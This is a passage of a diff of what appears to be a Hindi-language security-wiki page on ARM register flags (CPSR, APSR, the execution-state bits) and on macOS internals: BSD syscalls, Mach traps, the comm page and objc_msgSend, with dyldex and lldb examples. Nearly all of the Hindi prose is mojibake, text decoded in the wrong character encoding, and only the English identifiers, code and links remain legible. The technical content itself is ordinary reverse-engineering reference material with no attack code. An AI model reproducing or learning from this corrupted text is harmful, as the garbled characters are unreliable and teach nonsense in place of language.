рд░рдЬрд┐рд╕реНрдЯреНрд░рд┐рдпреЛрдВ`** рдореЗрдВ рдмреИрдХрдЕрдк рд╣реЛрддреЗ рд╣реИрдВред рдпреЗ рдРрд╕реЗ рд╕реНрдерд╛рди рд╣реИрдВ рдЬреЛ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рд╕реЗ **рдЕрдкрд╡рд╛рдж рд╣реИрдВрдбрд▓рд┐рдВрдЧ** рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдСрдкрд░реЗрд╢рдиреЛрдВ рдореЗрдВ **рддреЗрдЬрд╝ рд╕рдВрджрд░реНрдн рд╕реНрд╡рд┐рдЪрд┐рдВрдЧ** рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рд░ рдмрд╛рд░ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд╕рд╣реЗрдЬрдиреЗ рдФрд░ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рди рд╣реЛред\ +рдпрд╣ **`CPSR`** рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕рд░ рдореЛрдб рдХреЗ **`SPSR`** рдореЗрдВ рдкреНрд░реЛрд╕реЗрд╕рд░ рд╕реНрдерд┐рддрд┐ рдХреЛ рд╕рд╣реЗрдЬрдХрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЕрдкрд╡рд╛рдж рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдкрд╡рд╛рдж рд▓реМрдЯрдиреЗ рдкрд░, **`CPSR`** рдХреЛ **`SPSR`** рд╕реЗ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ### CPSR - рд╡рд░реНрддрдорд╛рди рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реНрдерд┐рддрд┐ рд░рдЬрд┐рд╕реНрдЯрд░ @@ -289,7 +289,7 @@ AArch32 рдореЗрдВ CPSR AArch64 рдореЗрдВ **`PSTATE`** рдХреЗ рд╕рдорд╛рди рдХрд╛ #### рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реНрдерд┐рддрд┐ рд░рдЬрд┐рд╕реНрдЯрд░ (APSR) - **`N`**, **`Z`**, **`C`**, **`V`** рдзреНрд╡рдЬ (AArch64 рдХреА рддрд░рд╣ рд╣реА) -- **`Q`** рдзреНрд╡рдЬ: рдЗрд╕реЗ 1 рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рднреА **рдкреВрд░реНрдгрд╛рдВрдХ рд╕рдВрддреГрдкреНрддрд┐ рд╣реЛрддреА рд╣реИ** рд╡рд┐рд╢реЗрд╖ рд╕рдВрддреГрдкреНрддрд┐ рдЕрдВрдХрдЧрдгрд┐рддреАрдп рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рдиред рдПрдХ рдмрд╛рд░ рдЗрд╕реЗ **`1`** рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдорд╛рди рдмрдирд╛рдП рд░рдЦреЗрдЧрд╛ рдЬрдм рддрдХ рдЗрд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ 0 рдкрд░ рд╕реЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреЛрдИ рдРрд╕рд╛ рдирд┐рд░реНрджреЗрд╢ рдирд╣реАрдВ рд╣реИ рдЬреЛ рдЗрд╕рдХреЗ рдорд╛рди рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдкрдврд╝рдХрд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред +- **`Q`** рдзреНрд╡рдЬ: рдЗрд╕реЗ 1 рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рднреА **рдкреВрд░реНрдгрд╛рдВрдХ рд╕рдВрддреГрдкреНрддрд┐ рд╣реЛрддреА рд╣реИ** рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕рдВрддреГрдкреНрддрд┐ рдЕрдВрдХрдЧрдгрд┐рддреАрдп рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рдиред рдПрдХ рдмрд╛рд░ рдЗрд╕реЗ **`1`** рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдорд╛рди рдмрдирд╛рдП рд░рдЦреЗрдЧрд╛ рдЬрдм рддрдХ рдЗрд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ 0 рдкрд░ рд╕реЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреЛрдИ рдРрд╕рд╛ рдирд┐рд░реНрджреЗрд╢ рдирд╣реАрдВ рд╣реИ рдЬреЛ рдЗрд╕рдХреЗ рдорд╛рди рдХреА рдЬрд╛рдВрдЪ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдкрдврд╝рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред - **`GE`** (рдмрдбрд╝рд╛ рдпрд╛ рд╕рдорд╛рди) рдзреНрд╡рдЬ: рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ SIMD (рд╕рд┐рдВрдЧрд▓ рдЗрдВрд╕реНрдЯреНрд░рдХреНрд╢рди, рдорд▓реНрдЯреАрдкрд▓ рдбреЗрдЯрд╛) рдСрдкрд░реЗрд╢рдиреЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ "рд╕рдорд╛рдирд╛рдВрддрд░ рдЬреЛрдбрд╝" рдФрд░ "рд╕рдорд╛рдирд╛рдВрддрд░ рдШрдЯрд╛рдирд╛"ред рдпреЗ рдСрдкрд░реЗрд╢рди рдПрдХ рд╣реА рдирд┐рд░реНрджреЗрд╢ рдореЗрдВ рдХрдИ рдбреЗрдЯрд╛ рдмрд┐рдВрджреБрдУрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **`UADD8`** рдирд┐рд░реНрджреЗрд╢ **рдЪрд╛рд░ рдЬреЛрдбрд╝реЗ рдмрд╛рдЗрдЯреНрд╕** (рджреЛ 32-рдмрд┐рдЯ рдСрдкрд░реЗрдиреНрдб рд╕реЗ) рдХреЛ рд╕рдорд╛рдирд╛рдВрддрд░ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ 32-рдмрд┐рдЯ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред рдлрд┐рд░ рдпрд╣ **`APSR`** рдореЗрдВ рдЗрди рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ **`GE`** рдзреНрд╡рдЬ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ GE рдзреНрд╡рдЬ рдПрдХ рдмрд╛рдЗрдЯ рдЬреЛрдбрд╝ рдХреЗ рд▓рд┐рдП рд╕рдВрдмрдВрдзрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдпрд╣ рджрд░реНрд╢рд╛рддреЗ рд╣реБрдП рдХрд┐ рдЙрд╕ рдмрд╛рдЗрдЯ рдЬреЛрдбрд╝реЗ рдХреЗ рд▓рд┐рдП рдЬреЛрдбрд╝ **рдУрд╡рд░рдлреНрд▓реЛ** рд╣реБрдЖ рдпрд╛ рдирд╣реАрдВред @@ -298,10 +298,10 @@ AArch32 рдореЗрдВ CPSR AArch64 рдореЗрдВ **`PSTATE`** рдХреЗ рд╕рдорд╛рди рдХрд╛ #### рдирд┐рд╖реНрдкрд╛рджрди рд╕реНрдерд┐рддрд┐ рд░рдЬрд┐рд╕реНрдЯрд░ -- **`J`** рдФрд░ **`T`** рдмрд┐рдЯреНрд╕: **`J`** 0 рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдпрджрд┐ **`T`** 0 рд╣реИ рддреЛ A32 рдирд┐рд░реНрджреЗрд╢ рд╕реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рдпрд╣ 1 рд╣реИ, рддреЛ T32 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **IT рдмреНрд▓реЙрдХ рд╕реНрдерд┐рддрд┐ рд░рдЬрд┐рд╕реНрдЯрд░** (`ITSTATE`): рдпреЗ 10-15 рдФрд░ 25-26 рд╕реЗ рдмрд┐рдЯреНрд╕ рд╣реИрдВред рдпреЗ **`IT`** рдкреНрд░реАрдлрд┐рдХреНрд╕ рд╕рдореВрд╣ рдХреЗ рднреАрддрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП рд╢рд░реНрддреЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВред +- **`J`** рдФрд░ **`T`** рдмрд┐рдЯреНрд╕: **`J`** рдХреЛ 0 рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдпрджрд┐ **`T`** 0 рд╣реИ рддреЛ A32 рдирд┐рд░реНрджреЗрд╢ рд╕реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рдпрд╣ 1 рд╣реИ, рддреЛ T32 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **IT рдмреНрд▓реЙрдХ рд╕реНрдерд┐рддрд┐ рд░рдЬрд┐рд╕реНрдЯрд░** (`ITSTATE`): рдпреЗ 10-15 рдФрд░ 25-26 рд╕реЗ рдмрд┐рдЯреНрд╕ рд╣реИрдВред рдпреЗ **`IT`** рдЙрдкрд╕рд░реНрдЧрд┐рдд рд╕рдореВрд╣ рдХреЗ рднреАрддрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП рд╢рд░реНрддреЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВред - **`E`** рдмрд┐рдЯ: **рдПрдВрдбрд┐рдпрдирдиреЗрд╕** рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред -- **рдореЛрдб рдФрд░ рдЕрдкрд╡рд╛рдж рдорд╛рд╕реНрдХ рдмрд┐рдЯреНрд╕** (0-4): рдпреЗ рд╡рд░реНрддрдорд╛рди рдирд┐рд╖реНрдкрд╛рджрди рд╕реНрдерд┐рддрд┐ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред **5рд╡рд╛рдВ** рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдо 32-рдмрд┐рдЯ (1) рдпрд╛ 64-рдмрд┐рдЯ (0) рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдЕрдиреНрдп 4 рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ **рдЕрдкрд╡рд╛рдж рдореЛрдб** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ (рдЬрдм рдХреЛрдИ рдЕрдкрд╡рд╛рдж рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ)ред рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕рдВрдЦреНрдпрд╛ **рдЗрд╕рдХреА рдкреНрд░рд╛рдердорд┐рдХрддрд╛** рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдпрджрд┐ рдЗрд╕ рд╕рдордп рдПрдХ рдФрд░ рдЕрдкрд╡рд╛рдж рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ рдЬрдмрдХрд┐ рдЗрд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред +- **рдореЛрдб рдФрд░ рдЕрдкрд╡рд╛рдж рдорд╛рд╕реНрдХ рдмрд┐рдЯреНрд╕** (0-4): рдпреЗ рд╡рд░реНрддрдорд╛рди рдирд┐рд╖реНрдкрд╛рджрди рд╕реНрдерд┐рддрд┐ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред **5рд╡рд╛рдВ** рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдо 32-рдмрд┐рдЯ (1) рдпрд╛ 64-рдмрд┐рдЯ (0) рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдЕрдиреНрдп 4 рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ **рдЕрдкрд╡рд╛рдж рдореЛрдб** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ (рдЬрдм рдХреЛрдИ рдЕрдкрд╡рд╛рдж рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ)ред рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕рдВрдЦреНрдпрд╛ **рд╡рд░реНрддрдорд╛рди рдкреНрд░рд╛рдердорд┐рдХрддрд╛** рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдпрджрд┐ рдЗрд╕ рджреМрд░рд╛рди рдХреЛрдИ рдЕрдиреНрдп рдЕрдкрд╡рд╛рдж рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред
@@ -309,15 +309,15 @@ AArch32 рдореЗрдВ CPSR AArch64 рдореЗрдВ **`PSTATE`** рдХреЗ рд╕рдорд╛рди рдХрд╛ ## macOS -### BSD рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ +### BSD syscalls -[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) рдкрд░ рдЬрд╛рдПрдВред BSD рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдореЗрдВ **x16 > 0** рд╣реЛрдЧрд╛ред +[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) рджреЗрдЦреЗрдВред BSD syscalls рдореЗрдВ **x16 > 0** рд╣реЛрдЧрд╛ред -### рдордЪ рдЯреНрд░реИрдкреНрд╕ +### Mach Traps -[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) рдореЗрдВ `mach_trap_table` рдФрд░ [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) рдореЗрдВ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рджреЗрдЦреЗрдВред рдордЪ рдЯреНрд░реИрдкреНрд╕ рдХреА рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛ `MACH_TRAP_TABLE_COUNT` = 128 рд╣реИред рдордЪ рдЯреНрд░реИрдкреНрд╕ рдореЗрдВ **x16 < 0** рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдкрд┐рдЫрд▓реЗ рд╕реВрдЪреА рд╕реЗ рдирдВрдмрд░реЛрдВ рдХреЛ **рдорд╛рдЗрдирд╕** рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`** рд╣реИред +[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) рдореЗрдВ `mach_trap_table` рдФрд░ [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) рдореЗрдВ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рджреЗрдЦреЗрдВред Mach traps рдХреА рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛ `MACH_TRAP_TABLE_COUNT` = 128 рд╣реИред Mach traps рдореЗрдВ **x16 < 0** рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдкрд┐рдЫрд▓реЗ рд╕реВрдЪреА рд╕реЗ рдирдВрдмрд░ рдХреЛ **рдорд╛рдЗрдирд╕** рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`** рд╣реИред -рдЖрдк **`libsystem_kernel.dylib`** рдХреЛ рдбрд┐рд╕рдЕрд╕реЗрдВрдмрд▓рд░ рдореЗрдВ рднреА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЗрди (рдФрд░ BSD) рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреЛ рдХреИрд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдП: +рдЖрдк **`libsystem_kernel.dylib`** рдХреЛ рдбрд┐рд╕рдЕрд╕реЗрдВрдмрд▓рд░ рдореЗрдВ рднреА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЗрди (рдФрд░ BSD) syscalls рдХреЛ рдХреИрд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдП: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -328,7 +328,7 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **Ida** рдФрд░ **Ghidra** рдХреИрд╢ рд╕реЗ **рд╡рд┐рд╢рд┐рд╖реНрдЯ dylibs** рдХреЛ рдХреЗрд╡рд▓ рдХреИрд╢ рдкрд╛рд╕ рдХрд░рдХреЗ рднреА рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред > [!TIP] -> рдХрднреА-рдХрднреА **`libsystem_kernel.dylib`** рд╕реЗ **рдбрд┐рдХрдВрдкрд╛рдЗрд▓** рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХреЛрдб **рдЬрд╛рдВрдЪрдирд╛** **рд╕реНрд░реЛрдд рдХреЛрдб** рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЖрд╕рд╛рди рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХрдИ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ (BSD рдФрд░ Mach) рдХрд╛ рдХреЛрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ (рд╕реНрд░реЛрдд рдХреЛрдб рдореЗрдВ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рджреЗрдЦреЗрдВ) рдЬрдмрдХрд┐ dylib рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред +> рдХрднреА-рдХрднреА **`libsystem_kernel.dylib`** рд╕реЗ **рдбрд┐рдХрдВрдкрд╛рдЗрд▓** рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХреЛрдб **рдЬрд╛рдВрдЪрдирд╛** **рд╕реНрд░реЛрдд рдХреЛрдб** рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЖрд╕рд╛рди рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХрдИ syscalls (BSD рдФрд░ Mach) рдХрд╛ рдХреЛрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ (рд╕реНрд░реЛрдд рдХреЛрдб рдореЗрдВ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рджреЗрдЦреЗрдВ) рдЬрдмрдХрд┐ dylib рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред ### machdep рдХреЙрд▓ @@ -336,7 +336,7 @@ XNU рдПрдХ рдФрд░ рдкреНрд░рдХрд╛рд░ рдХреЗ рдХреЙрд▓ рдХрд╛ рд╕рдорд░реНрдерди ### comm рдкреГрд╖реНрда -рдпрд╣ рдПрдХ рдХрд░реНрдиреЗрд▓ рдорд╛рд▓рд┐рдХ рдореЗрдореЛрд░реА рдкреГрд╖реНрда рд╣реИ рдЬреЛ рд╣рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрддреЗ рдХреЗ рд╕реНрдХреЗрдк рдореЗрдВ рдореИрдк рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЛрдб рд╕реЗ рдХрд░реНрдиреЗрд▓ рд╕реНрдкреЗрд╕ рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдХреЛ рддреЗрдЬ рдХрд░рдирд╛ рд╣реИ, рддрд╛рдХрд┐ рдХрд░реНрдиреЗрд▓ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдпрд╣ рд╕рдВрдХреНрд░рдордг рдмрд╣реБрдд рдЕрдкреНрд░рднрд╛рд╡реА рди рд╣реЛред +рдпрд╣ рдПрдХ рдХрд░реНрдиреЗрд▓ рдорд╛рд▓рд┐рдХ рдореЗрдореЛрд░реА рдкреГрд╖реНрда рд╣реИ рдЬреЛ рд╣рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрддреЗ рдХреЗ рд╕реНрдХреЗрдк рдореЗрдВ рдореИрдк рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЛрдб рд╕реЗ рдХрд░реНрдиреЗрд▓ рд╕реНрдкреЗрд╕ рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдХреЛ рддреЗрдЬ рдХрд░рдирд╛ рд╣реИ, рддрд╛рдХрд┐ рдХрд░реНрдиреЗрд▓ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП syscalls рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдпрд╣ рд╕рдВрдХреНрд░рдордг рдмрд╣реБрдд рдЕрдкреНрд░рднрд╛рд╡реА рди рд╣реЛред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреЙрд▓ `gettimeofdate` рд╕реАрдзреЗ comm рдкреГрд╖реНрда рд╕реЗ `timeval` рдХрд╛ рдорд╛рди рдкрдврд╝рддрд╛ рд╣реИред @@ -346,8 +346,8 @@ XNU рдПрдХ рдФрд░ рдкреНрд░рдХрд╛рд░ рдХреЗ рдХреЙрд▓ рдХрд╛ рд╕рдорд░реНрдерди рдкреИрд░рд╛рдореАрдЯрд░ ([рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): -- x0: self -> рдЙрджрд╛рд╣рд░рдг рдХрд╛ рдкреЙрдЗрдВрдЯрд░ -- x1: op -> рдореЗрдердб рдХрд╛ рдЪрдпрдирдХрд░реНрддрд╛ +- x0: self -> рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХрд╛ рдкреЙрдЗрдВрдЯрд░ +- x1: op -> рдореЗрдердб рдХрд╛ рд╕реЗрд▓реЗрдХреНрдЯрд░ - x2... -> рдХреЙрд▓ рдХрд┐рдП рдЧрдП рдореЗрдердб рдХреЗ рд╢реЗрд╖ рддрд░реНрдХ рддреЛ, рдпрджрд┐ рдЖрдк рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреА рд╢рд╛рдЦрд╛ рд╕реЗ рдкрд╣рд▓реЗ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд▓рдЧрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ lldb рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ (рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдСрдмреНрдЬреЗрдХреНрдЯ `NSConcreteTask` рд╕реЗ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдЧрд╛): @@ -369,18 +369,18 @@ whoami ) ``` > [!TIP] -> env рд╡реЗрд░рд┐рдПрдмрд▓ **`NSObjCMessageLoggingEnabled=1`** рд╕реЗрдЯ рдХрд░рдиреЗ рд╕реЗ рдпрд╣ рд▓реЙрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХрдм рдХреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдлрд╝рд╛рдЗрд▓ `/tmp/msgSends-pid` рдореЗрдВред +> env рд╡реЗрд░рд┐рдПрдмрд▓ **`NSObjCMessageLoggingEnabled=1`** рд╕реЗрдЯ рдХрд░рдиреЗ рд╕реЗ рдпрд╣ рд▓реЙрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХрдм рдХреЙрд▓ 